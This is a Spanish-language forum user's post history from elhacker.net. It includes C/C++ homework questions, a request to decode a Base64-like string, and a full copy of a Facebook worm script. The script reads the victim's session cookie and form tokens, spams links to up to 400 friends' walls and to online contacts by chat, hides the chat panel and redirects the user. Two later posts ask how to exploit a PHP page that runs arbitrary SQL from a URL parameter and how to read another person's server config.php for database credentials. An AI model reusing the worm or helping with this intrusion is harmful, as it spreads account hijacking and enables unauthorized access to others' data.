elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / ayuda en c++ en: 1 Diciembre 2015, 00:34 am
alguien que me pueda ayudar a solucionar este problema con este codigo


Código
  1.  
  2. #include <iostream>
  3. using namespace std;
  4. int main()
  5. {
  6. int num,n,c=0,a,con=0;
  7. for(a=1;a<=5;a++)
  8. {
  9.  
  10. cout<<"ingrese un numero";
  11. cin>>num;
  12. for(n=1;n<=num;n++)
  13. {
  14. if(num%n==0)
  15. {
  16. c=c+1;
  17. }
  18.  
  19. }
  20. if(c>0&&c<=2)
  21. {
  22. con=con+1;
  23. }
  24. }
  25.  
  26.  
  27. cout<<con<<" numeros primos";
  28. }
  29.  
  30.  
  31.  


el programa tiene que mostrarme cuantos numeros primo introduce por teclado

[MOD] Al publicar código usar las etiquetas GeSHi
2  Programación / Programación C/C++ / alguien me puede ayudar con este problema ;) en: 5 Junio 2012, 01:42 am






1.   Haga un programa en C que calcule la suma del triángulo inferior más el triángulo superior de una matriz cuadrada de 5 X 5, dejando el resultado en el triángulo inferior de otra matriz cuadrada de dimensión 5 X 5. La matriz resultante tendrá 0 en la diagonal y en el triángulo superior.

Por ejemplo, si la matriz que proporciona el usuario es:


a) Haga  un módulo (rutina) llamado leematriz que lea la matriz que proporciona el usuario.
b) Haga un módulo (rutina) llamado sumatoria que calcule la suma de los 2 triángulos de una matriz y deje el resultado en el triángulo inferior de otra matriz.
c) Haga un módulo (rutina) impmatriz que imprima la matriz origen y la
     matriz  resultado.
d)  Imprimir la sumatoria de los números que están en la diagonal de la matriz.

2.   Los resultados de un torneo de futbol de 16 equipos se encuentran almacenados en la tabla torneo de 16 renglones por 16 columnas.  Por renglones se tienen los goles que un equipo anotó a los demás, y por columnas se tienen los goles que dicho equipo recibió de los demás.  Por ejemplo:

Para un torneo de 4 equipos se tiene la siguiente tabla:


Se puede decir que los marcadores del equipo 1 fueron:

Perdió   0 – 2 con el equipo 2.
Ganó   4 – 3 con el equipo 3.
Empató   0 – 0 con el equipo 4.

Anotó 4 goles y recibió 5 goles en el torneo.

Se pide que elabore un solo programa que realice lo siguiente:

a)   Lea la tabla torneo con los resultados del torneo.
b)   Imprima los marcadores de los partidos jugados por el equipo 1, indicando contra quién jugó y si ganó, perdió o empató cada partido.
c)   Imprima los goles a favor y los goles en contra del equipo 1.
d)   Imprima cuál es el equipo con mayor número de partidos ganados (suponga que un solo equipo cumple con esta característica).



Elabore un programa modular para contestar las siguientes preguntas:

a)   ¿Cuál fue el total de ventas en el año de la agencia Lomas?
b)   ¿Cuál fue el promedio de ventas en el mes de noviembre?
c)   ¿Qué agencia tuvo mayores ventas en el mes de Junio?
d)   ¿En qué mes se registraron las menores ventas del año, considerando todas las agencias?


3.   Elabore un programa que cargue, lea una matriz de 4 X 4 y calcule la inversa usando el método de Gauss-Jordan.

4.   De acuerdo al juego del Ajedrez, realice un programa que permita llenar una matriz de 8 x 8. Ubique valores como si fueran las fichas del ajedrez, teniendo en cuenta la siguiente tabla.






Nota: Estos ejercicios deben desarrollarse en  C++


muchas gracias espero y me puedan ayudar
3  Seguridad Informática / Criptografía / que tipo de sistema es o cifrado? en: 28 Junio 2011, 00:49 am
hola quisiera  si alguien me puede ayudar con esto  es para saber que tipo de caracteres traduce 


es   


VldwSk5Gb3lVa2hQUjJSclRUSlJlbFJITlU5TlIwNTBWbTE0YTFJelVqSlpNakF4WWtkT2NFNVlWbUZYUmtZeVYycEtTbG95U25SUFZFNU5Xbm93T1QwOT09


gracias
4  Foros Generales / Dudas Generales / una duda sobre este script en: 4 Mayo 2011, 04:48 am
hola a todos


mi duda es sobre esta pagina de facebook http://www.facebook.com/picofbinladendead

al seguir las instrucciones ( uqe de seguro muchos lo han hecho) se ejecuta el siguiente script

aquie el script  

Código:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KuNG FU JS v.1  20yrsplus.info
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

//alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');

function readCookie(name) {

var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;

}

var user_id = readCookie("c_user");


// Setup some variables

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;


// Multiple URL Shorteners

var shortArray = new Array(
  "http://www.facebook.com/picofbinladendead",
  "http://www.facebook.com/picofbinladendead"
 );

var shortUrl = shortArray[Math.floor(shortArray.length*Math.random())];

// Chat message variables

var this_chat = "See a picture of bin laden dead! "+shortUrl+"?";
var prepared_chat = encodeURIComponent(this_chat);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Post Link to friends walls
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var token = Math.round(new Date().getTime() / 1000);

var http1 = new XMLHttpRequest();

var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";

var params1 = "";
http1.open("GET", url1+"?"+params1, true);
http1.onreadystatechange = function() {//Call a function when the state changes.

if(http1.readyState == 4 && http1.status == 200) { // If state = success

var response1 = http1.responseText;

response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
response1 = JSON.parse(response1); // Convert the response to JSON

//alert(response4.toSource());

var count = 0;

for(uid in response1.payload.entries){

if(count < 400){

//alert("SENT TO "+response1.payload.entries[count].uid);

// Loop to send messages

// New XMLHttp object
var httpwp = new XMLHttpRequest();

var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";

var statusmessage="This will leave you speechless";
var title="See picture of bin laden dead!";
var link="http://www.facebook.com/picofbinladendead";
var description="First released picture of bin laden dead! ";
var picture="http://dl.dropbox.com/u/3730110/laden.png";

var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";

httpwp.open("POST", urlwp, true);

//Send the proper header information along with the request

httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");

httpwp.onreadystatechange = function() { //Call a function when the state changes.
if(httpwp.readyState == 4 && httpwp.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}

}

httpwp.send(paramswp);

}

count++; // increment counter

}

http1.close; // Close the connection



}

}

http1.send(null);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Hide chat boxes
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var hide = document.getElementById('fbDockChatTabSlider');

hide.style.display = "none";


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Get online friends and send chat message to them
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http3 = new XMLHttpRequest();

var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
http3.open("POST", url3, true);

//Send the proper header information along with the request
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-length", params3.length);
http3.setRequestHeader("Connection", "close");

http3.onreadystatechange = function() {//Call a function when the state changes.
if(http3.readyState == 4 && http3.status == 200) {

var response3 = http3.responseText;

response3 = response3.replace("for (;;);", "");
response3 = JSON.parse(response3);

var count = 0;

for(property in response3.payload.buddy_list.nowAvailableList){

if(count < 100){

// Loop to send messages

// New XMLHttp object
var httpc = new XMLHttpRequest();

// Generate random message ID

var msgid = Math.floor(Math.random()*1000000);

var time = Math.round(new Date().getTime() / 1000);

var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
httpc.open("POST", urlc, true);

//Send the proper header information along with the request
httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpc.setRequestHeader("Content-length", paramsc.length);
httpc.setRequestHeader("Connection", "close");

httpc.onreadystatechange = function() { //Call a function when the state changes.
if(httpc.readyState == 4 && httpc.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpc.send(paramsc);

}

//alert(property);
count++; // increment counter

}

http3.close; // Close the connection

}
}
http3.send(params3);







/*
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIVEAWAY
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http4 = new XMLHttpRequest();

var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";

var params4 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"

http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}
http4.send(params4);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIft
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http5 = new XMLHttpRequest();

var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";

var params5 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"

http5.open("POST", url5, true);

//Send the proper header information along with the request
http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http5.setRequestHeader("Content-length", params5.length);
http5.setRequestHeader("Connection", "close");

http5.onreadystatechange = function() {//Call a function when the state changes.
if(http5.readyState == 4 && http5.status == 200) {

http5.close; // Close the connection

}
}
http5.send(params5);
*/

//document.getElementById('susta').style.display="none";
document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
setTimeout("window.location = 'http://themafiafamily.net/bin/search.php';", 15000);





bueno entiendo algunas cosas pero es que no se mucho de java script , por lo tanto acudo a ustedes si alguien puede decirme especificamente que hace este script,



las partes que entiendo es donde crea funciones que envian el enlace de la pagina a todos tus contactos, y tambien la parte que hace que suba en counter de facebook  de I like.

espero su respuesta xD
5  Programación / PHP / alguien me puede orientar un poco en: 9 Noviembre 2010, 16:54 pm
hola a todos
 
el caso es este

llevo varios dias mirando en el codigo fuente de una pagina y me encontre lo siguiente

Código:

<?PHP
include('config.php');
include('includes/functions.php');

ini_set("display_errors", "1");
//include("wrapper/adodb-exceptions.inc.php");
include("includes/adodb5/adodb.inc.php");

define('ADODB_ASSOC_CASE', 1);
$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC;
switch (@$_GET['db']) {
case '1':
$db = ADONewConnection($_config['db_type']);
$db->locale = 'us_english';
$db->debug = $_config['dbdebug'];
$rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB']) or die("Unable to connect!");
    break;
case '2':
$db = ADONewConnection($_config['db_type']);
$db->locale = 'us_english';
$db->debug = $_config['dbdebug'];
$rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB2']) or die("Unable to connect!");
 break;
  case '3':
$db = ADONewConnection($_config['db_type']);
$db->locale = 'us_english';
$db->debug = $_config['dbdebug'];
$rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB3']) or die("Unable to connect!");
 break;
}
$db->Execute('SET ANSI_NULLS ON');
$db->Execute('SET ANSI_WARNINGS ON');
$tbl = $db->Execute("select * from information_schema.tables where TABLE_TYPE = 'base Table'");

echo '<table width="100%" cellpadding=4>';
echo '<tr>';

echo '<td rowspan=3 valign="top">';
foreach ($tbl as $tb) {
echo '<li>'.$tb['TABLE_CATALOG'].'.dbo.'.$tb['TABLE_NAME'].'</li>';
}
echo '</td>';
echo '<td valign="top">';
echo '<form method="GET"><input name="query" type="text" value="'.$_GET['query'].'" size="100"><input type="hidden" name="db" value="'.$_GET['db'].'"><input type="submit" value="Query"></form>';

echo '</td>';
echo '</tr>';
echo '<tr>';
echo '<td valign="top">';
if ($_GET['query']) {
$db->debug=1;
echo 'running query...<br/>';

$q = $db->Execute($_GET['query']);
echo $db->ErrorMsg();
echo '<table width="100%" cellpadding=4 border="1">';
foreach ($q as $tb) {
$data .= '<tr>';
$header = '<tr>';
foreach ($tb as $h => $t) {

if (ctype_upper(preg_replace("/[^a-zA-Z0-9s]/", "", $h)))  {
$header .= '<td>'.$h.'</td>';
if (in_array($h, array('DWSERIALNUMBER','INFO'))) $t = bin2hex($t).'-'. hexdec($t);
$data .= '<td>'.$t.'</td>';
}
}
$header .= '</tr>';
$data .= '</tr>';
}
echo $header .$data;

echo '</table>';
}

echo '</td>';
echo '</tr>';


echo '</table>';

?>


*si en mi navegador pongo    http://url-del-site/nobre-de-archivo.php?db=1

se supone que con esa cadena establesco una conexion ( case '1': ) con db ( base de datos numero 1)



* http://url-del-site/nobre-de-archivo.php?db=2

con esa cadena establesco una conexion ( case '2': ) con db2 ( base de datos numero 2)




* http://url-del-site/nobre-de-archivo.php?db=3


con esa cadena establesco una conexion ( case '3': ) con db3 ( base de datos numero 3)



mis preguntas son las siguientes

1). ¿como podria aprovechar esto?

2). ¿ como puedo averiguar los datos  $rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB'])

salu2
6  Seguridad Informática / Nivel Web / tal ves podais ayudarme? en: 5 Noviembre 2010, 23:30 pm
hola a todos..

antes de que leas el post quiero aclarar que no tengo malas intenciones.. con lo que me podáis ayudar, simplemente quiero:
1). aprender mas
2). el creador del servidor al que intento acceder dice y asegura que es imposible que yo acceda a sus bases de datos o siquiera que haga algo en su servidor:)
3). curiosidad ......

exponiendo el caso


el servidor  http://xxxx/ sirve sus paginas web con apache lo que lo hace mas dificil de acceder a el,
la pagina esta hecha en php, y trabajan con short tags, sin embargo ya eh logrado pillar sus directorios y su estructura ( es decir como esta contruida la pagina ), ademas trabaja con bases de datos de sql server, en el servidor ay dos directorios que componen la pagina,  llamaremos estos dos directorios (dir1)= main (dir2)= backend , estos dos estan enlazados por short tags.

en el directorio main esta todo lo del diseño, contenidos, imagenes etc....
en el directorio backend esta toda la configuracion y los archivos de enlace al sql server....

es decir tenemos estos dos directorios http://xxxx/main    y    http://xxxx/main/backend/

explorando estos directorios encontre el archivo ADMIN.PHP  en el cual encontre que cita este otro archivo
<a href="<?PHP echo $_config['server_feed'];?>admincp.php   ( admin.php )

es decir existe un http://xxxx/main/modules/admin.php   --> este tiene el contenido y diseño

y existe un http://xxxx/main/backend/admin.php   --> este tiene la conguracion y enlace ala base de datos


asu vez el segundo archivo  http://xxxx/main/backend/admin.php  -->> cita un archivo config.php

ubicado en  http://xxxx/main/backend/config.php     

este archivo config.php contiene informacion como  nombre de usuario de sql password  tipos de db, tablas etc....


el archivo http://xxxx/main/backend/admin.php  tien algo asi como esto



include 'config.php'          esto es igual a  http://xxxx/main/backend/config.php

include 'includes/functions.php';        esto es igual a  http://xxxx/main/backend/includes/functions.php

require 'includes/dbconnect.php';      esto es igual a  http://xxxx/main/backend/includes/dbconnect.php


el archivo que realmente me intereso era "dbconnect.php"  pense que ay estaba la informacion de inicio de secion en sql  pero me encontre con esto

$db2 = ADONewConnection('mssql');
$db2->locale = 'us_english';
$db2->debug = $_config['dbdebug'];
$rs = $db2->NConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB2']) or die("Unable to connect DB2!");

es decir que este archivo "dbconnect.php" plantea la conexion de inicio de secion en sql usando los datos del archivo  http://xxxx/main/backend/config.php

supongo que el http://xxxx/main/backend/config.php      debe tener algo asi como


$_config['db_type'] = 'tipo de conexion';
$_config['Server'] = "ip del sql server";  -->> (que porcierto ya la tengo
$_config['User'] = "usuario sql";
$_config['Pass'] = "psword sql";
$_config['DB'] = "tipo de db";
$_config['DB2'] = "otro tipo de db";


lo único malo y a lo que viene mi petición de ayuda es que no eh podido ver la informacion del archivo  http://xxxx/main/backend/config.php    por mas que intento en ningun navegador puede mostrar http://xxxx/main/backend/config.php   ....   supongo que el servidor de apache obstaculiza y no permite el acceso a archivos de tipo config....

lo que yo quiero saber es de que manera puedo acceder a este archivo  (config.php) .... es decir ver el código que ay, hay dentro  ;)       


eh intentado muchas cosas y no eh podido por lo tanto hoy decidí acudir a ustedes


agradezco su ayuda


un saludo andres199
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines